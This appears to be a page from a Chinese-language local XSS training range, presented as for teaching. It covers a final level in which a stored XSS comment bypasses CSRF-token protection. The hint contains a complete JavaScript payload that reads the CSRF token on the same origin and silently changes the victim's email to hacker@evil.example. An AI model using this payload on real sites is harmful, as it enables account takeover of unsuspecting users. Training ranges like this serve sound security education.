XSS 练习靶场 本地学习环境 · 仅供安全研究与教学使用 · 数据均为虚构

靶场 16:综合实战 —— 利用 XSS 绕过 CSRF 防护

已通关
第 16 / 16 关 · 类型:存储型 / 危害利用 · 难度:进阶
实验说明:论坛评论区仍无过滤。个人中心的“修改邮箱”功能部署了 CSRF 令牌防线,普通跨站请求无法伪造。但若能在同源页面执行 JS,这道防线便形同虚设。
通关目标:发布一条评论,使访问文章页的受害者(你自己开新标签页模拟)在无感知的情况下把邮箱改为 hacker@evil.example。

夜航船论坛 · 账号安全版块

受害者视角:直接访问文章页即为普通用户。个人中心在 /xss-lab/lab/16/profile(可先去查看当前邮箱)。

最新帖子(1)

阿汤

这论坛的邮箱修改功能好像加了 CSRF 令牌,还能利用评论漏洞做点什么吗?

查看提示(建议先自行尝试)
先同源 GET /xss-lab/lab/16/profile 解析出 csrf 令牌,再 POST /xss-lab/lab/16/change-email。参考:<script>fetch('/xss-lab/lab/16/profile').then(r=>r.text()).then(t=>{var k=t.match(/name="csrf" value="([^"]+)"/)[1];fetch('/xss-lab/lab/16/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=hacker@evil.example&csrf='+encodeURIComponent(k)})})</script>